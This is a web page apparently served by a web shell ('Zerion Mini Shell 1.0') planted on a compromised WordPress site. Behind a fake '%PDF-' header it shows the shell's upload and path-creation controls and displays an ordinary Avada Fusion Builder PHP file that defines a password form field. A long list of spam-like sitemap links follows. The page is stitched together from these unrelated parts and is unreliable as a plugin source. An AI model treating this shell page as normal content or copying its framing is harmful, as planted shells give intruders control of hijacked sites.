%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/fusion-builder/shortcodes/form/
Upload File :
Create Path :
Current File : //dom645759/wp-content/plugins/fusion-builder/shortcodes/form/password.php

<?php
/**
 * Add an element to fusion-builder.
 *
 * @package fusion-builder
 * @since 3.1
 */

if ( fusion_is_element_enabled( 'fusion_form_password' ) ) {

	if ( ! class_exists( 'FusionForm_Password' ) ) {
		/**
		 * Shortcode class.
		 *
		 * @since 3.1
		 */
		class FusionForm_Password extends Fusion_Form_Component {

			/**
			 * Constructor.
			 *
			 * @access public
			 * @since 3.1
			 */
			public function __construct() {
				parent::__construct( 'fusion_form_password' );
			}

			/**
			 * Gets the default values.
			 *
			 * @static
			 * @access public
			 * @since 3.1
			 * @return array
			 */
			public static function get_element_defaults() {

				return [
					'label'               => '',
					'name'                => '',
					'required'            => '',
					'empty_notice'        => '',
					'invalid_notice'      => '',
					'placeholder'         => '',
					'input_field_icon'    => '',
					'autocomplete'        => 'off',
					'autocomplete_custom' => '',
					'pattern'             => '',
					'reveal_password'     => 'no',
					'password_strength'   => 'no',
					'tab_index'           => '',
					'class'               => '',
					'id'                  => '',
					'logics'              => '',
					'tooltip'             => '',
					'must_match'          => '',
				];
			}

			/**
			 * Render form field html.
			 *
			 * @access public
			 * @since 3.1
			 * @param string $content The content.
			 * @return string
			 */
			public function render_input_field( $content ) {
				global $fusion_form;
				$pw_strength = '';

				if ( 'yes' === $this->args['password_strength'] ) {
					$this->args['input_class'] = 'awb-pw-strength';
					$pw_strength .= '<div class="pass-strength-result" aria-live="polite"></div>';

					wp_enqueue_script( 'password-strength-meter' );
					wp_enqueue_script( 'zxcvbn-async' );
				}
				
				if ( 'above' === $fusion_form['form_meta']['label_position'] ) {
					$html = $this->generate_input_field( $this->args, 'password' ) . $pw_strength;
				} else {
					$html = $pw_strength . $this->generate_input_field( $this->args, 'password' );
				}

				return $html;

			}	
		}
	}

	new FusionForm_Password();
}

/**
 * Map shortcode to Fusion Builder
 *
 * @since 3.1
 */
function fusion_form_password() {

	fusion_builder_map(
		fusion_builder_frontend_data(
			'FusionForm_Password',
			[
				'name'           => esc_attr__( 'Password Field', 'fusion-builder' ),
				'shortcode'      => 'fusion_form_password',
				'help_url'       => 'https://classic.avada.com/documentation/password-field-element/',
				'icon'           => 'fusiona-af-password',
				'form_component' => true,
				'preview'        => FUSION_BUILDER_PLUGIN_DIR . 'inc/templates/previews/fusion-form-element-preview.php',
				'preview_id'     => 'fusion-builder-block-module-form-element-preview-template',
				'params'         => [
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Field Label', 'fusion-builder' ),
						'description' => esc_attr__( 'Enter the label for the input field. This is how users will identify individual fields.', 'fusion-builder' ),
						'param_name'  => 'label',
						'value'       => '',
						'placeholder' => true,
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Field Name', 'fusion-builder' ),
						'description' => esc_attr__( 'Enter the field name. Please use only lowercase alphanumeric characters, dashes, and underscores.', 'fusion-builder' ),
						'param_name'  => 'name',
						'value'       => '',
						'placeholder' => true,
					],
					[
						'type'        => 'radio_button_set',
						'heading'     => esc_attr__( 'Required Field', 'fusion-builder' ),
						'description' => esc_attr__( 'Make a selection to ensure that this field is completed before allowing the user to submit the form.', 'fusion-builder' ),
						'param_name'  => 'required',
						'default'     => 'no',
						'value'       => [
							'yes' => esc_attr__( 'Yes', 'fusion-builder' ),
							'no'  => esc_attr__( 'No', 'fusion-builder' ),
						],
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Empty Input Notice', 'fusion-builder' ),
						'description' => esc_attr__( 'Enter text validation notice that should display if data input is empty.', 'fusion-builder' ),
						'param_name'  => 'empty_notice',
						'value'       => '',
						'dependency'  => [
							[
								'element'  => 'required',
								'value'    => 'yes',
								'operator' => '==',
							],
						],
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Placeholder Text', 'fusion-builder' ),
						'param_name'  => 'placeholder',
						'value'       => '',
						'description' => esc_attr__( 'The placeholder text to display as hint for the input type.', 'fusion-builder' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Tooltip Text', 'fusion-builder' ),
						'param_name'  => 'tooltip',
						'value'       => '',
						'description' => esc_attr__( 'The text to display as tooltip hint for the input.', 'fusion-builder' ),
					],
					[
						'type'        => 'iconpicker',
						'heading'     => esc_attr__( 'Input Field Icon', 'fusion-builder' ),
						'param_name'  => 'input_field_icon',
						'value'       => '',
						'description' => esc_attr__( 'Select an icon for the input field, click again to deselect.', 'fusion-builder' ),
					],
					'fusion_form_autocomplete_placeholder' => [],
					[
						'type'        => 'raw_text',
						'heading'     => esc_attr__( 'Custom Pattern', 'fusion-builder' ),
						'param_name'  => 'pattern',
						'value'       => '',
						/* translators: Patterns link. */
						'description' => sprintf( __( 'Enter allowed input pattern. For more info and pattern examples, you can check %s.', 'fusion-builder' ), '<a href="https://www.w3schools.com/Tags/att_input_pattern.asp" target="_blank">' . esc_attr__( 'w3schools', 'fusion-builder' ) . '</a>' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Invalid Input Notice', 'fusion-builder' ),
						'description' => esc_attr__( 'Enter validation notice that should display if data input is invalid.', 'fusion-builder' ),
						'param_name'  => 'invalid_notice',
						'value'       => '',
						'dependency'  => [
							[
								'element'  => 'pattern',
								'value'    => '',
								'operator' => '!=',
							],
						],
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Input Must Match', 'fusion-builder' ),
						'param_name'  => 'must_match',
						'value'       => '',
						'description' => __( 'Enter a field name from the same form. If set, the form will only be sent if the field values match.', 'fusion-builder' ),
					],
					[
						'type'        => 'radio_button_set',
						'heading'     => esc_attr__( 'Display Reveal Password Icon', 'fusion-builder' ),
						'description' => esc_attr__( 'Set to "yes" to display an icon to reveal the entered password.', 'fusion-builder' ),
						'param_name'  => 'reveal_password',
						'default'     => 'no',
						'value'       => [
							'yes' => esc_attr__( 'Yes', 'fusion-builder' ),
							'no'  => esc_attr__( 'No', 'fusion-builder' ),
						],
					],
					[
						'type'        => 'radio_button_set',
						'heading'     => esc_attr__( 'Display Password Strength Indicator', 'fusion-builder' ),
						'description' => esc_attr__( 'Set to "yes" to display the WordPress passowrd strength indicator when a password is typed.', 'fusion-builder' ),
						'param_name'  => 'password_strength',
						'default'     => 'no',
						'value'       => [
							'yes' => esc_attr__( 'Yes', 'fusion-builder' ),
							'no'  => esc_attr__( 'No', 'fusion-builder' ),
						],
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Tab Index', 'fusion-builder' ),
						'param_name'  => 'tab_index',
						'value'       => '',
						'description' => esc_attr__( 'Tab index for the form field.', 'fusion-builder' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'CSS Class', 'fusion-builder' ),
						'param_name'  => 'class',
						'value'       => '',
						'description' => esc_attr__( 'Add a class for the form field.', 'fusion-builder' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'CSS ID', 'fusion-builder' ),
						'param_name'  => 'id',
						'value'       => '',
						'description' => esc_attr__( 'Add an ID for the form field.', 'fusion-builder' ),
					],
					'fusion_form_logics_placeholder' => [],
				],
			]
		)
	);
}
add_action( 'fusion_builder_before_init', 'fusion_form_password' );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap612.xml 2026-12-01 https://louisvillegop.com/sitemap744.xml 2026-12-01 https://louisvillegop.com/sitemap424.xml 2026-12-01 https://louisvillegop.com/sitemap421.xml 2026-12-01 https://louisvillegop.com/sitemap662.xml 2026-12-01 https://louisvillegop.com/sitemap771.xml 2026-12-01 https://louisvillegop.com/sitemap90.xml 2026-12-01 https://louisvillegop.com/sitemap687.xml 2026-12-01 https://louisvillegop.com/sitemap89.xml 2026-12-01 https://louisvillegop.com/sitemap833.xml 2026-12-01 https://louisvillegop.com/sitemap463.xml 2026-12-01 https://louisvillegop.com/sitemap361.xml 2026-12-01 https://louisvillegop.com/sitemap995.xml 2026-12-01 https://louisvillegop.com/sitemap637.xml 2026-12-01 https://louisvillegop.com/sitemap567.xml 2026-12-01 https://louisvillegop.com/sitemap192.xml 2026-12-01 https://louisvillegop.com/sitemap375.xml 2026-12-01 https://louisvillegop.com/sitemap206.xml 2026-12-01 https://louisvillegop.com/sitemap469.xml 2026-12-01 https://louisvillegop.com/sitemap706.xml 2026-12-01 https://louisvillegop.com/sitemap601.xml 2026-12-01 https://louisvillegop.com/sitemap218.xml 2026-12-01 https://louisvillegop.com/sitemap382.xml 2026-12-01 https://louisvillegop.com/sitemap837.xml 2026-12-01 https://louisvillegop.com/sitemap868.xml 2026-12-01 https://louisvillegop.com/sitemap425.xml 2026-12-01 https://louisvillegop.com/sitemap429.xml 2026-12-01 https://louisvillegop.com/sitemap60.xml 2026-12-01 https://louisvillegop.com/sitemap179.xml 2026-12-01 https://louisvillegop.com/sitemap697.xml 2026-12-01 https://louisvillegop.com/sitemap900.xml 2026-12-01 https://louisvillegop.com/sitemap707.xml 2026-12-01 https://louisvillegop.com/sitemap114.xml 2026-12-01 https://louisvillegop.com/sitemap78.xml 2026-12-01 https://louisvillegop.com/sitemap62.xml 2026-12-01 https://louisvillegop.com/sitemap858.xml 2026-12-01 https://louisvillegop.com/sitemap168.xml 2026-12-01 https://louisvillegop.com/sitemap745.xml 2026-12-01 https://louisvillegop.com/sitemap164.xml 2026-12-01 https://louisvillegop.com/sitemap846.xml 2026-12-01 https://louisvillegop.com/sitemap211.xml 2026-12-01 https://louisvillegop.com/sitemap840.xml 2026-12-01 https://louisvillegop.com/sitemap994.xml 2026-12-01 https://louisvillegop.com/sitemap979.xml 2026-12-01 https://louisvillegop.com/sitemap253.xml 2026-12-01 https://louisvillegop.com/sitemap418.xml 2026-12-01 https://louisvillegop.com/sitemap241.xml 2026-12-01 https://louisvillegop.com/sitemap954.xml 2026-12-01 https://louisvillegop.com/sitemap690.xml 2026-12-01 https://louisvillegop.com/sitemap135.xml 2026-12-01 https://louisvillegop.com/sitemap695.xml 2026-12-01 https://louisvillegop.com/sitemap982.xml 2026-12-01 https://louisvillegop.com/sitemap364.xml 2026-12-01 https://louisvillegop.com/sitemap132.xml 2026-12-01 https://louisvillegop.com/sitemap857.xml 2026-12-01 https://louisvillegop.com/sitemap111.xml 2026-12-01 https://louisvillegop.com/sitemap899.xml 2026-12-01 https://louisvillegop.com/sitemap21.xml 2026-12-01 https://louisvillegop.com/sitemap967.xml 2026-12-01 https://louisvillegop.com/sitemap652.xml 2026-12-01 https://louisvillegop.com/sitemap5.xml 2026-12-01 https://louisvillegop.com/sitemap730.xml 2026-12-01 https://louisvillegop.com/sitemap306.xml 2026-12-01 https://louisvillegop.com/sitemap794.xml 2026-12-01 https://louisvillegop.com/sitemap267.xml 2026-12-01 https://louisvillegop.com/sitemap280.xml 2026-12-01 https://louisvillegop.com/sitemap548.xml 2026-12-01 https://louisvillegop.com/sitemap288.xml 2026-12-01 https://louisvillegop.com/sitemap950.xml 2026-12-01 https://louisvillegop.com/sitemap914.xml 2026-12-01